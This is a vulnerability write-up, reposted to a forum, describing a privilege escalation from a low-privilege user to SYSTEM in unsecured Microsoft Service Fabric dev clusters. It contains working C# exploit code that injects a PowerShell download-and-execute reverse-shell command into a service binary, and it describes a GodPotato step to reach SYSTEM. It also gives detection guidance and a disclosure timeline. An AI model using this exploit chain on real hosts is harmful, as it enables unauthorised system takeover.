Article Using Microsoft Service Fabric to elevate privileges

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
7,137
Реакции
34
During a recent red team operation, NetSPI discovered a local privilege escalation path in the default installation of Microsoft Service Fabric Runtime, a software commonly used for local application development. This vulnerability would allow a low privilege user, with a foothold on a host running the service fabric deployment, to elevate their privileges up to System.

For this attack to work, the cluster must be “unsecured”, which is the default option when configured using the “typical” installation options. Microsoft takes the approach that “An Azure Service Fabric cluster is a resource that you own. It is your responsibility to secure your clusters” but provided guidance on how to secure them here (https://learn.microsoft.com/en-us/azure/security/fundamentals/service-fabric-best-practices). This blog will cover how this path was discovered and how it could be exploited.

The research presented here was conducted on a newly provisioned Windows 11 VPS, hosted in Azure. The Service Fabric Runtime for Windows and Service Fabric SDK installers were downloaded from the official Microsoft source at https://learn.microsoft.com/en-us/azure/service-fabric/service-fabric-get-started.

The software versions used for this proof of concept were:

  • Service Fabric Runtime for Windows 10.1.1951.9590
  • Service Fabric SDK 7.1.1951
If you want to follow along at home, here are the steps taken to set up the environment used for this research.

TL;DR​

  • Once installed, ServiceFabric allows low-privileged users to access the web interface
  • A folder permissions misconfiguration allowed any user to modify files used by Service Fabric
  • These files are started as NT Authority/Network Service
  • Service Fabric replaces these files with a known-good copy when a cluster node is restarted, we can exploit a form of “time of check, time of use” flaw to overwrite them
  • We can abuse this flaw to get a shell as NT Authority/Network Service, which provides a direct path to SYTEM via a “potato” attack

Environment Setup​

A local admin account was used to perform the service fabric installation.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_1.png


The SDK was installed using the “typical” configuration:

052724_TECH_Service-Fabric-Vulnerability-Disclosure_2.png


Once both components were installed, a new 5 node cluster was provisioned.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_3.png


The cluster manager web interface can be used to confirm the setup was successful. This can be accessed on http://localhost:19080/

When the setup is complete, you should see a dashboard showing all the nodes are healthy.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_4.png


A new, low privilege user was created and added to the RDP Users group (which is required to access the machine). This user was named “low”.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_5.png


052724_TECH_Service-Fabric-Vulnerability-Disclosure_6.png


Finally, a tools folder was created, and some exclusions were set up in Windows Defender. This post is not an exercise in bypassing AV; we just want shells. These exclusions just allow us to drop some files to disk later, without worrying about making them AV safe. Defender did not detect or block this attack when left enabled.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_7.png


With our lab VM set up, we can start our analysis of the Service Fabric installation.

Finding the vulnerability​

You may have noticed the ‘SFDevCluster’ folder in the Defender exclusions above. This folder is created by Service Fabric when a new cluster is provisioned and contains various binaries which are used by the cluster nodes. Reviewing the permissions applied to this folder revealed the start of our exploit path.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_8.png


Despite being installed in the root of C, all authenticated users have write access to this folder and its contents.

Let’s see what’s running from this folder, using Process Hacker 2.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_9.png


We have some binaries running from within a folder we have write access to, and they are running as NETWORK SERVICE. If we can modify one of those files, we should be able to elevate to NETWORK SERVICE and, from there, up to SYSTEM.

The obvious approach here is just to replace one of these binaries with our own file and wait for it to execute. Let’s try that, using calc.exe.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_10.png


Here we’ve renamed the original binary to “FabricFAS_old” and copied calc.exe into the folder as FabricFAS.exe. Now we just need to execute it. Luckily for us, we can re-start nodes via the web interface, under the “actions” menu.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_11.png


We can restart the node (note it must be the correct one), wait for the restart to complete and… nothing. No calc, no new process starting. Looking at the folder contents again reveals that our “malicious” file was removed and replaced with the legitimate binary.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_12.png


Note the icon and file size have changed in the screenshot above. If you want to confirm this for yourself, you can use procmon from the sysinternals suite.

So that’s it, game over, right? Not quite. .NET exposes the FileSystemWatcher class (https://learn.microsoft.com/en-us/dotnet/api/system.io.filesystemwatcher), which lets us monitor for changes to files and folders programmatically.

Using the following code, we can monitor for changes to the file directly after FabricFAS.exe (the files are modified in alphabetical order).

Код:
using System;

using System.Collections.Generic;

using System.IO;

using System.Linq;

using System.Text;

using System.Threading.Tasks;




namespace ConsoleApp1

{

    internal class Program

    {

       




        static void Main(string[] args)

        {

            using (var watcher = new FileSystemWatcher(@"C:\SFDevCluster\Data\_App\_Node_3\__FabricSystem_App4294967295\FAS.Code.Current"))

            {

                //filter on Attribute changes as these only fire once watcher.NotifyFilter = NotifyFilters.Attributes;

                watcher.Changed += OnChanged;

                watcher.Error += OnError;

                //we filter on this, as its directly after the exe we are interested in

                watcher.Filter = "FabricFaultAnalysisService.dll";

                watcher.IncludeSubdirectories = false;

                watcher.EnableRaisingEvents = true;

                Console.WriteLine("Press enter to exit");

                Console.ReadLine();

            }

        }




        private static void OnError(object sender, ErrorEventArgs e)

        {

            Console.WriteLine(@"An error has occured");

        }




        private static void OnChanged(object sender, FileSystemEventArgs e)

        {

            if (e.ChangeType != WatcherChangeTypes.Changed)

            {

                return;

            }

            Console.WriteLine(@"FabricFaultAnalysisService.dll has been modified");

        }

    }

}


Restarting the node should trigger our code.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_13.png


Note that we get multiple hits; we can fix that later.

The above code will give us a window of opportunity to make changes to the binary between it being overwritten by the legitimate file and subsequently started again. Now we just need a payload. We could replace the file with calc.exe, or say, a custom binary containing a Cobalt Strike beacon, but we can do better than that. As Red Teamers, we want to remain undetected, breaking a node within a Service Fabric cluster will almost certainly cause error logs to be generated, which will get investigated, and probably get us kicked out of the environment. We want a payload which will run our code, and then start the node as normal. Enter Mono.Cecil (https://www.mono-project.com/docs/tools+libraries/libraries/Mono.Cecil/).

This project will let us modify the existing binary, adding our own code to the main method, before writing it back to disk. The rest of the functionality will remain unchanged, so the node will start as normal. We just need to decide what to run.

Exploiting the vulnerability​

For this blog, we’re going to go with a PowerShell reverse shell, for two reasons. First, it’s fairly easy to set up, and more importantly, doesn’t give away too many secrets. If you’re going to use this, you almost certainly want to build a better payload. We will simply embed a PowerShell one-liner and execute it with Process.Start. A guide on how Mono.Cecil works is outside the scope of this post, but the code is shown below.

Код:
using Mono.Cecil;

using Mono.Cecil.Cil;

using System;

using System.Diagnostics;

using System.Globalization;

using System.IO;

using System.Linq;

using OpCodes = Mono.Cecil.Cil.OpCodes;




namespace ConsoleApp1

{

    internal class Program

    {

        static void Main(string[] args)

        {

            using (var watcher = new FileSystemWatcher(@"C:\SFDevCluster\Data\_App\_Node_0\__FabricSystem_App4294 967295\FAS.Code.Current"))

            {

                //filter on Attribute changes as these only fire once

                watcher.NotifyFilter = NotifyFilters.Attributes;

                watcher.Changed += OnChanged; watcher.Error += OnError;

                //we filter on this, as its directly after the exe we are interested in

                watcher.Filter = "FabricFaultAnalysisService.dll"; watcher.IncludeSubdirectories = false; watcher.EnableRaisingEvents = true; Console.WriteLine("Press enter to exit"); Console.ReadLine();

            }

        }




        private static void OnError(object sender, ErrorEventArgs e) => PrintException(e.GetException());

        private static void PrintException(Exception ex)

        {

            if (ex != null)

            {

                Console.WriteLine($"Message: {ex.Message}"); Console.WriteLine("Stacktrace:"); Console.WriteLine(ex.StackTrace); Console.WriteLine(); PrintException(ex.InnerException);

            }

        }

        private static void OnChanged(object sender, FileSystemEventArgs e)

        {

            string timestamp = DateTime.UtcNow.ToString("yyyy-MM-dd HH:mm:ss.rf",

            CultureInfo.InvariantCulture);




            if (e.ChangeType != WatcherChangeTypes.Changed)

            {

                return;

            }

            //at this point, our target EXE has been overwritten, we have a small window to write it before its called again.




WritePayload(@"C:\SFDevCluster\Data\_App\_Node_0\__FabricSystem_App42949672 95\FAS.Code.Current\FabricFAS.exe");

            Console.WriteLine("done");

        }

        private static void WritePayload(string target)

        {

            Console.WriteLine("Injecting...");

            AssemblyDefinition asm = AssemblyDefinition.ReadAssembly(target, new ReaderParameters { ReadWrite = true, InMemory = true });

            //Creating the Process.Start() method and importing it into the target assembly

            var pStartMethod = typeof(Process).GetMethod("Start", new Type[] { typeof(string), typeof(string) });

            var pStartRef = asm.MainModule.Import(pStartMethod);

            var toInspect = asm.MainModule.GetTypes()

            .SelectMany(t => t.Methods.Where(m => m.HasBody).Select(m => new { t, m }));

            toInspect = toInspect.Where(x => x.m.Name.Equals("Main"));

            foreach (var method in toInspect)

            {

                method.m.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Ldstr, @"powershell.exe"));

                //then the arguments

                method.m.Body.Instructions.Insert(1, Instruction.Create(OpCodes.Ldstr, @"iex (New-Object Net.WebClient).DownloadString('http://192.168.1.1:8000/Invoke- PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.1 -Port 4444"));

                //We push the path of the executable you want to run to the stack




                //Adding the call to the Process.Start() method, It will read from the stack

                method.m.Body.Instructions.Insert(2, Instruction.Create(OpCodes.Call, pStartRef));

                //Removing the value from stack with pop

                method.m.Body.Instructions.Insert(3, Instruction.Create(OpCodes.Pop));

            }

            asm.Write(target); asm.Dispose(); Console.WriteLine("Injected");

        }

    }

}


This code will need the Costura.Fody and Mono.Cecil Nuget packages to be installed, and you’ll want to update the IP addresses in the PowerShell command. In brief, this code will monitor for changes to the FabricFAS.exe binary, wait until it’s been updated, then write our malicious code into the start of the main method. When the node starts, this should kick off a reverse shell.

We’ll need a host to catch our shell from, and we’ll need to build this payload and get it onto the box as the low privilege user we created earlier. We’re going to take some liberties here and just copy the file to our tools directory before we switch user. In the “real world”, we’d want to run this in process from our C2, but that’s just overcomplicating things.

With our code built and copied to the tools folder, we can log off our high privilege user, and RDP back as the “low” user we created earlier. This user is not a local admin. Note that we don’t have permission to start the service fabric cluster as the low privilege user, it must be running already.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_14.png


We can also verify that we have access to the Service Fabric management interface, as this low privileged user.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_15.png


Now, we can run the exploit code we created, which will wait for the node to restart. We can trigger that restart from the management interface.

After restarting the node, we see the exploit trigger.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_16.png


Then, after a short delay while we wait for the node to restart, we see our payload being fetched from our server.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_17.png


We also get our callback.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_18.png


From this shell, running whoami /all will show that we are now running as NT Authority/NETWORK SERVICE

052724_TECH_Service-Fabric-Vulnerability-Disclosure_19.png


From here, we can elevate to SYSTEM via one of the potato attacks. Again, this was our simple proof of concept only, so we’re going to drop some binaries to disk.

We’ll use GodPotato to elevate to system.

Running this from our shell shows we can run commands as SYSTEM.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_20.png


We can do better than that, let’s get a basic shell:

052724_TECH_Service-Fabric-Vulnerability-Disclosure_21.png


Running “set” from this new shell, we can see our userprofile is in the system32 folder.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_22.png


As we have access to the test box, we can cheat a little here and just look at the nc64 process.

052724_TECH_Service-Fabric-Vulnerability-Disclosure_23.png


And its permissions:

052724_TECH_Service-Fabric-Vulnerability-Disclosure_24.png


And that’s it, we’ve gone from a low privilege user to SYSTEM, by using service fabric to get us a shell as Network Service.

Detection Opportunities​

Detection Opportunity #1: Anomalous processes modifying Service Fabric binaries
Data Source: File Modification
Detection Strategy: Behavior
Detection Concept: Detect when a process overwrites or modifies any file within the c:\SFDevCluster folder, or its subfolders. The following processes are known to interact with files in this location legitimately – Fabric.exe, FabricHost.exe, svchost.exe, csrss.exe, MsMpEng.exe, Conhost.exe, FabricFAS.exe.
Detection Reasoning: No process, except for those associated with Service Fabric itself, or core OS functionality, should need to modify files in the c:\SFDevCluster folder. Other, unknown processes attempting to modify files in this location are likely to be malicious.

Detection Opportunity #2: Named Pipe Usage for GodPotatoe
Data Source: Named Pipe Creation, Named Pipe Connection
Detection Strategy: Behavior
Detection Concept: Detect on a process running as NT AUTHORITY\NETWORK SERVICE creating a named piped, followed by a process running as SYSTEM connecting to that same process.
Detection Reasoning: This behavior indicates privilege escalation via the GodPotato exploit. In this particular example the PipeName has a format of <GUID>\pipe\epmapper and the Process running as SYSTEM is the System Process (Process ID 4)

Hunting Opportunity #1: PowerShell.exe spawned by FabricFAS.exe Data Source: Process Relationship Detection Strategy: Behavior
Detection Concept: The specific exploit chain used in this post results in PowerShell.exe being spawned by FabricFAS.exe. Hunting for this activity may allow this exploit to be detected. This could be expanded to include hunting for other processes commonly used to execute code, such as (but not limited to) cmd.exe, rundll32.exe, mshta.exe and wscript.exe.
Reasoning: The PoC code presented here uses PowerShell, spawned by FabricFAS.exe. However, as PowerShell may be used legitimately by FabricFAS, NetSPI recommend using this for hunting rather than detection.

Disclosure Timeline​

NetSPI disclosed this issue to MSRC, who provided the following response:

blockquote-left.svg
blockquote-right.svg


While we’ve chosen to publish this research, we’ve purposefully made the PoC provided very easy to detect by using PowerShell and tools dropped to disk. We have also provided detection and hunting guidance.

The full timeline is shown below.

  • January 26, 2024 – Issue reported to MSRC
  • January 29, 2024– Issue Confirmed by MSRC
  • January 31, 2024 – Issue marked as “not a vulnerability” for Bug Bounty purposes
  • April 4, 2024 – Issue marked as “Out of Scope” due to being intended behavior. The content of the response is included above
  • April 4, 2024 – NetSPI ask Microsoft to confirm their decision, and to approve publication
  • April 5, 2024 – Microsoft responds, requesting they are allowed to review the blog before publication and confirming that they have contacted the relevant teams to confirm the behavior is intentional
  • April 6, 2024 – Microsoft confirms again that this is expected behaviour
  • April 18, 2024 – NetSPI submit a draft copy of this blog to MSRC for review, along with an intended publication date
  • April 22, 2024 – MSRC respond, requesting that NetSPI clarify that the cluster was “unsecured” and that a link to one of their articles on cluster security is included
  • May 28, 2024 – Blog post is published
source
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.